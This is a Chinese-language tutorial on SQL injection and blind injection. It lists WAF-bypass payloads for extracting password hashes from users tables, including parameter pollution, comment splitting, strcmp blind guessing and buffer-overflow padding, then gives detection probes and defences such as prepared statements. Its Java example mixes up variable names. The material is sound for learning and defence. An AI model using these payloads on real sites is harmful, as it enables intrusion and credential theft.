SQL注入与SQL盲注漏洞
一、绕过WAF的方法:
-
大小写绕过
-
简单编码绕过
-
注释绕过:
如?id=1 uni//on sele//ct 1,2,3 # -
分隔重写绕过:
适用于WAF采用正则表达式检测所有的敏感字的情况,可以通过注释分开敏感字,如?id=1 un//ion sel//ect 1,2,3 # ;至于重写绕过,适用于WAF过滤了一次的情况,如uniunionon,有时候可能还有多次过滤的情况,这时多次尝试也可以。 -
HTTP参数污染(HPP):
如?id=1 union select 1,2,3 from users where id=1 #
这时可以改为?id=1 union select 1&id=2,3 from users where id=1 #
次数&id=会在查询时变成逗号,具体细节取决于 WAF ;
这个例子也同理:?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users #
如果服务器代码为: select from table where a=”._GET[‘b’].” limit “.$_GET[‘c’]; 那么可以构造这样的注入语句: ?a=1 union/&b=/select 1,pass/&c=/from users # 最终解析为: select from table where a=1 union/ and b=/select 1,pass/limit /from users # 可以看到,这种方式比较适合白盒测试。 -
使用逻辑运算符 or /and 绕过:
如?id=1 or 0x50=0x50
?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74,其中select pwd from users limit 1,1是从 users 表里查询 pwd 字段的第一条记录, 然后 mid()就是取该记录的第一个字符, lower()把字符转换为小写, ascii 把 该字符转换成 ascii 码,最后判断等不等于 74。
-
比较操作符替换:比较操作符如!=、<>、<、>都可以用来替换=来绕过。
-
同功能函数替换:
substring()可以用mid()、substr()这些函数来替换,都是用来取字符串的某一位字符的;
ascii()编码可以用 hex()、bin(),即十六进制和二进制编码替换;
在使用在基于延时的盲注中benchmark()和sleep()可以相互替换;
group_concat 、 concat 、concat_ws 三者可以互相替换;
还有一种新的方法 ,3条语句分别如下
substring((select ‘password’),1,1) = 0x70
substr((select ‘password’),1,1) = 0x70
mid((select ‘password’),1,1) = 0x70
都是从 password 里判断第一个字符的值,可以用
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
替换,left 用来取字符串左起 1 位的值,strcmp 用来比较两个值,如果比较结果相等就为 0,左边小的话就为-1,否则为 1。 -
盲注无需or和and:
例句:index.php?id=1
当and和or被过滤时,可以将 1修改为是通过语句生成的, index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123,123 的时候页面是正确的,现在再盲猜 hash 的第一位,如果第一位等于 0x42 也就是 B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是 B,就这样猜,不用 and 和 or 了。 -
加括号:
如?id=(1)union(select(1),mid(hash,1,32)from(users))
?id=(1)union(((((((select(1),hex(hash)from(users))))))))
?id=(1)or(0x50=0x50)
11.缓冲区溢出绕过:
如id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10 #
其中 A 越多越好,一般要求 1000 个以上。
二、检测方法:
-
基于报错的检测方法:
使用各种符号以及组合: ‘ “ ( %
如直接在URL后添加单引号看是否报错index.php?id=1’ -
基于布尔的检测:
最常用的如1’ and ‘1’=’1和1’ and ‘1’=’2 相当于 1’ and ‘1和1’ and ‘0
当返回的结果不同时即有漏洞 -
直接在URL地址后面加-1、-0、’%2B’和’%2B’a:
添加-1:index.php?id=123-1,当前后访问的页面不同时,即可确定存在数字型SQL注入漏洞;
添加-0:index.php?id=123-0,当前后访问的页面相同时,再加上-1,返回错误页面,则表示存在数字型SQL注入漏洞;
添加’%2B’和’%2B’a:这里%2B为‘+’的URL编码,当先添加’%2B’时index.php?id=123’%2B’返回同样的页面,而添加’%2B’a时返回错误,这种适用于SQL语句中id值被一对单引号括起来的情况。 -
判断盲注的常用方法:
1’ and 1=1 #
1’ and 1=2 #
判断这两种不同的输入是否有不一样的显示,如果一个正常一个通用的错误提示或者啥也不显示,则几乎可以确定是含有SQL注入漏洞的。
三、防御方法:
关键是对所有用户的输入进行严格的检查过滤、对数据库配置使用最小权限原则。
常用的修复方案:
(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。
(2)过滤危险的 SQL 语句关键字。
(3)确认每种数据的类型。
(4)数据长度应该严格规定。
(5)网站每个数据层的编码统一。
(6)严格限制网站用户的数据库的操作权限。
(7)避免网站显示 SQL 错误信息。
(8)在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测。
(9)升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。
其实最有效的防御手段是下面两种:
1、预编译:
原理是采用PreparedStatement将相应的SQL语句预先编译好,即SQL引擎会预先进行语法分析,产生语法树,生成执行计划,从而无论用户输入什么内容即使是sql命令都不会影响该SQL语句的语法结构而只能当成是字符串字面值参数。但并不是所有场景都能采用SQL预编译的,如需要进行一些字符串拼接的方式,这时便需要严格检查参数的数据类型以及采用一些安全函数来处理。
其过程如下:
(1)定义预编译的sql语句,其中待填入的参数用?占位。
(2)创建预编译Statement,并把sql语句传入。此时sql语句已与此preparedStatement绑定。所以第4步执行语句时无需再把sql语句作为参数传入execute()。
(3)填入具体参数。通过setXX(问号下标,数值)来为sql语句填入具体数据。问号下标从1开始,setXX与数值类型有关,字符串就是setString(index,str)。
(4)执行预处理对象。
例子:
String sql=”select id,no from user where id=?”;
PreparedStatement ps = conn.prepareStatement(sql);
prestmt.setInt(1,id);
prestmt.executeQuery();
2、变量绑定:
是指在sql语句的条件中使用变量而不是常量,是为了减少解析的。具体的细节网上很多